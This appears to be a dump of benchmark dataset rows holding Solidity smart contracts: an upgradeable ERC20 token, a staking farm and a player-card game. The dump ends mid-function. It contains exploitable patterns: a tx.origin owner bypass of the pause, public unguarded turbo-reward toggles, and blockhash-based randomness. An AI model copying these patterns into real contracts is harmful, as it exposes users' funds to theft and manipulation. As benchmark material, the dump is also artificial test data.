//
// GZR Items interface
//
// ----------------------------------------------------------------------------
contract GizerItemsInterface is Owned {
function mint(address _to) public onlyAdmin returns (uint idx);
}
| 140,764 | 11,379 |
9577cbcd1b3e6124ee1bde35d34060b3b7b5c2bf50045f1d19da26f7ae7a363f
| 42,702 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/c6/c6a4f0cc440e1ca895f269ee744bb657da53d18f_Empyreal.sol
| 3,929 | 16,965 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)
pragma solidity ^0.8.1;
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
function _getInitializedVersion() internal view returns (uint8) {
return _initialized;
}
function _isInitializing() internal view returns (bool) {
return _initializing;
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal onlyInitializing {
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
function __Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
modifier whenNotPaused() {
_requireNotPaused();
_;
}
modifier whenPaused() {
_requirePaused();
_;
}
function paused() public view virtual returns (bool) {
return _paused;
}
function _requireNotPaused() internal view virtual {
require(!paused(), "Pausable: paused");
}
function _requirePaused() internal view virtual {
require(paused(), "Pausable: not paused");
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
interface IERC20Upgradeable {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
uint256[45] private __gap;
}
abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable {
function __ERC20Burnable_init() internal onlyInitializing {
}
function __ERC20Burnable_init_unchained() internal onlyInitializing {
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
uint256[50] private __gap;
}
contract Empyreal is
Initializable,
ERC20Upgradeable,
ERC20BurnableUpgradeable,
PausableUpgradeable,
OwnableUpgradeable
{
uint256 public constant INITIAL_ALLOCATION = 200_000 ether;
uint256 public constant TEAM_ALLOCATION = 200_000 ether; // vested over 2 years
uint256 public constant LIQUIDITY_PROVISION = 100_000 ether;
uint256 public constant TREASURY_AND_GROWTH_FUND = 500_000 ether;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
function initialize() public virtual initializer {
__ERC20_init("Empyreal", "EMP");
__ERC20Burnable_init();
__Pausable_init();
__Ownable_init();
// start with contract paused
_pause();
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function mintInitialAllocation(address _recipient) external onlyOwner {
_mint(_recipient, INITIAL_ALLOCATION);
}
function mintTeamAllocation(address _recipient) external onlyOwner {
_mint(_recipient, TEAM_ALLOCATION);
}
function mintLiquidity(address _recipient) external onlyOwner {
_mint(_recipient, LIQUIDITY_PROVISION);
}
function mintTreasuryAndGrowthFund(address _recipient) external onlyOwner {
_mint(_recipient, TREASURY_AND_GROWTH_FUND);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (tx.origin != owner()) {
require(!paused(), "Empyreal: token transfer while paused");
}
}
}
| 41,118 | 11,380 |
ce2249fab0be1440c939cf51a78d1b127f3301c37b97fe0b3c09922c80f197f8
| 22,091 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xc06D6F2892Af468b09048B771AaA4244062fe1f8/contract.sol
| 4,215 | 16,708 |
pragma solidity 0.6.11;
// SPDX-License-Identifier: BSD-3-Clause
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
interface OldIERC20 {
function transfer(address, uint) external;
}
contract BrikFarming is Ownable {
using SafeMath for uint;
using Math for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// deposit token contract address and reward token contract address
// these contracts are "trusted" and checked to not contain re-entrancy pattern
// to safely avoid checks-effects-interactions where needed to simplify logic
address public trustedDepositTokenAddress = 0x670B3E98F00AA6D7e1166B2d4afbd40bd652fb16;
address public trustedRewardTokenAddress = 0x4C4ddfAfDE9dE8EDF1CCC588747F087FBF619A27;
// Amount of tokens
uint public disburseAmount = 10000e18;
// To be disbursed continuously over this duration
uint public disburseDuration = 300 days;
// If there are any undistributed or unclaimed tokens left in contract after this time
// Admin can claim them
uint public adminCanClaimAfter = 7 hours;
// do not change this => disburse 100% rewards over `disburseDuration`
uint public disbursePercentX100 = 100e2;
uint public contractDeployTime;
uint public adminClaimableTime;
uint public lastDisburseTime;
constructor() public {
contractDeployTime = now;
adminClaimableTime = contractDeployTime.add(adminCanClaimAfter);
lastDisburseTime = contractDeployTime;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
uint public turboStartTime = 0;
bool public turboMode;
uint public rewardsAmount = 0;
function addContractBalance(uint amount) public onlyOwner {
require(Token(trustedRewardTokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function getStartTurbo() public {
turboStartTime = now;
turboMode = true;
}
function endTurbo() public {
turboMode = false;
}
function updateAccount(address account) private {
disburseTokens();
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getEstimatedPendingDivs(address _holder) public view returns (uint) {
uint pendingDivs = getPendingDivs(_holder);
uint pendingDisbursement = getPendingDisbursement();
if (contractBalance < pendingDisbursement) {
pendingDisbursement = contractBalance;
}
uint depositedAmount = depositedTokens[_holder];
if (depositedAmount == 0) return 0;
if (totalTokens == 0) return 0;
uint myShare = depositedAmount.mul(pendingDisbursement).div(totalTokens);
return pendingDivs.add(myShare);
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(amountToWithdraw > 0, "Cannot withdraw 0 Tokens!");
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
// withdraw without caring about Rewards
function emergencyWithdraw(uint amountToWithdraw) public {
require(amountToWithdraw > 0, "Cannot withdraw 0 Tokens!");
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
// manual update account here without withdrawing pending rewards
disburseTokens();
lastClaimedTime[msg.sender] = now;
lastDivPoints[msg.sender] = totalDivPoints;
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function disburseTokens() private {
uint amount = getPendingDisbursement();
// uint contractBalance = Token(trustedRewardTokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0 || totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = now;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff;
uint _now = now;
uint _stakingEndTime = contractDeployTime.add(disburseDuration);
if (_now > _stakingEndTime) {
_now = _stakingEndTime;
}
if (lastDisburseTime >= _now) {
timeDiff = 0;
} else {
timeDiff = _now.sub(lastDisburseTime);
}
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
uint timeDiffTurbo;
uint pendingTurbo = 0;
if (turboMode) {
timeDiffTurbo = _now.sub(lastDisburseTime.max(turboStartTime)); // add math librairie
pendingTurbo = disburseAmount
.mul(10) // turbo multiplier
.mul(disbursePercentX100)
.mul(timeDiffTurbo)
.div(disburseDuration)
.div(10000);
}
pendingDisburse = pendingDisburse.add(pendingTurbo);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow owner to claim *other* modern ERC20 tokens sent to this contract
function transferAnyERC20Token(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != trustedDepositTokenAddress, "Admin cannot transfer out deposit tokens from this vault!");
require((_tokenAddr != trustedRewardTokenAddress) || (now > adminClaimableTime), "Admin cannot Transfer out Reward Tokens Yet!");
require(Token(_tokenAddr).transfer(_to, _amount), "Could not transfer out tokens!");
}
// function to allow owner to claim *other* modern ERC20 tokens sent to this contract
function transferAnyOldERC20Token(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != trustedDepositTokenAddress, "Admin cannot transfer out deposit tokens from this vault!");
require((_tokenAddr != trustedRewardTokenAddress) || (now > adminClaimableTime), "Admin cannot Transfer out Reward Tokens Yet!");
OldIERC20(_tokenAddr).transfer(_to, _amount);
}
}
| 252,418 | 11,381 |
936a7d513d98fa450873a9d15291cb36fb8994ccf6deae53d15104cd15ee9eba
| 13,159 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x65f3f1a2e66323a17d7f177db86bb326071e87f9.sol
| 3,567 | 13,014 |
pragma solidity ^0.4.16;
contract PlayerToken {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function tokensOfOwner(address _owner) public view returns (uint256[] ownerTokens);
function createPlayer(uint32[7] _skills, uint256 _position, address _owner) public returns (uint256);
function getPlayer(uint256 playerId) public view returns(uint32 talent, uint32 tactics, uint32 dribbling, uint32 kick,
uint32 speed, uint32 pass, uint32 selection);
function getPosition(uint256 _playerId) public view returns(uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
}
contract CatalogPlayers {
function getBoxPrice(uint256 _league, uint256 _position) public view returns (uint256);
function getLengthClassPlayers(uint256 _league, uint256 _position) public view returns (uint256);
function getClassPlayers(uint256 _league, uint256 _position, uint256 _index) public view returns(uint32[7] skills);
function incrementCountSales(uint256 _league, uint256 _position) public;
function getCountSales(uint256 _league, uint256 _position) public view returns(uint256);
}
contract Team {
uint256 public countPlayersInPosition;
uint256[] public teamsIds;
function createTeam(string _name, string _logo, uint256 _minSkills, uint256 _minTalent, address _owner, uint256 _playerId) public returns(uint256 _teamId);
function getPlayerTeam(uint256 _playerId) public view returns(uint256);
function getOwnerTeam(address _owner) public view returns(uint256);
function getCountPlayersOfOwner(uint256 _teamId, address _owner) public view returns(uint256 count);
function getCountPosition(uint256 _teamId, uint256 _position) public view returns(uint256);
function joinTeam(uint256 _teamId, address _owner, uint256 _playerId, uint256 _position) public;
function isTeam(uint256 _teamId) public view returns(bool);
function leaveTeam(uint256 _teamId, address _owner, uint256 _playerId, uint256 _position) public;
function getTeamPlayers(uint256 _teamId) public view returns(uint256[]);
function getCountPlayersOfTeam(uint256 _teamId) public view returns(uint256);
function getPlayerIdOfIndex(uint256 _teamId, uint256 index) public view returns (uint256);
function getCountTeams() public view returns(uint256);
function getTeamSumSkills(uint256 _teamId) public view returns(uint256 sumSkills);
function getMinSkills(uint256 _teamId) public view returns(uint256);
function getMinTalent(uint256 _teamId) public view returns(uint256);
}
contract FMWorldAccessControl {
address public ceoAddress;
address public cooAddress;
bool public pause = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyC() {
require(msg.sender == cooAddress ||
msg.sender == ceoAddress);
_;
}
modifier notPause() {
require(!pause);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function setPause(bool _pause) external onlyC {
pause = _pause;
}
}
contract FMWorld is FMWorldAccessControl {
address public playerTokenAddress;
address public catalogPlayersAddress;
address public teamAddress;
address private lastPlayerOwner = address(0x0);
uint256 public balanceForReward;
uint256 public deposits;
uint256 public countPartnerPlayers;
mapping (uint256 => uint256) public balancesTeams;
mapping (address => uint256) public balancesInternal;
bool public calculatedReward = true;
uint256 public lastCalculationRewardTime;
modifier isCalculatedReward() {
require(calculatedReward);
_;
}
function setPlayerTokenAddress(address _playerTokenAddress) public onlyCEO {
playerTokenAddress = _playerTokenAddress;
}
function setCatalogPlayersAddress(address _catalogPlayersAddress) public onlyCEO {
catalogPlayersAddress = _catalogPlayersAddress;
}
function setTeamAddress(address _teamAddress) public onlyCEO {
teamAddress = _teamAddress;
}
function FMWorld(address _catalogPlayersAddress, address _playerTokenAddress, address _teamAddress) public {
catalogPlayersAddress = _catalogPlayersAddress;
playerTokenAddress = _playerTokenAddress;
teamAddress = _teamAddress;
ceoAddress = msg.sender;
cooAddress = msg.sender;
lastCalculationRewardTime = now;
}
function openBoxPlayer(uint256 _league, uint256 _position) external notPause isCalculatedReward payable returns (uint256 _price) {
if (now > 1525024800) revert();
PlayerToken playerToken = PlayerToken(playerTokenAddress);
CatalogPlayers catalogPlayers = CatalogPlayers(catalogPlayersAddress);
_price = catalogPlayers.getBoxPrice(_league, _position);
balancesInternal[msg.sender] += msg.value;
if (balancesInternal[msg.sender] < _price) {
revert();
}
balancesInternal[msg.sender] = balancesInternal[msg.sender] - _price;
uint256 _classPlayerId = _getRandom(catalogPlayers.getLengthClassPlayers(_league, _position), lastPlayerOwner);
uint32[7] memory skills = catalogPlayers.getClassPlayers(_league, _position, _classPlayerId);
playerToken.createPlayer(skills, _position, msg.sender);
lastPlayerOwner = msg.sender;
balanceForReward += msg.value / 2;
deposits += msg.value / 2;
catalogPlayers.incrementCountSales(_league, _position);
if (now - lastCalculationRewardTime > 24 * 60 * 60 && balanceForReward > 10 ether) {
calculatedReward = false;
}
}
function _getRandom(uint256 max, address addAddress) view internal returns(uint256) {
return (uint256(block.blockhash(block.number-1)) + uint256(addAddress)) % max;
}
function _requireTalentSkills(uint256 _playerId, PlayerToken playerToken, uint256 _minTalent, uint256 _minSkills) internal view returns(bool) {
var (_talent, _tactics, _dribbling, _kick, _speed, _pass, _selection) = playerToken.getPlayer(_playerId);
if ((_talent < _minTalent) || (_tactics + _dribbling + _kick + _speed + _pass + _selection < _minSkills)) return false;
return true;
}
function createTeam(string _name, string _logo, uint32 _minTalent, uint32 _minSkills, uint256 _playerId) external notPause isCalculatedReward
{
PlayerToken playerToken = PlayerToken(playerTokenAddress);
Team team = Team(teamAddress);
require(playerToken.ownerOf(_playerId) == msg.sender);
require(team.getPlayerTeam(_playerId) == 0);
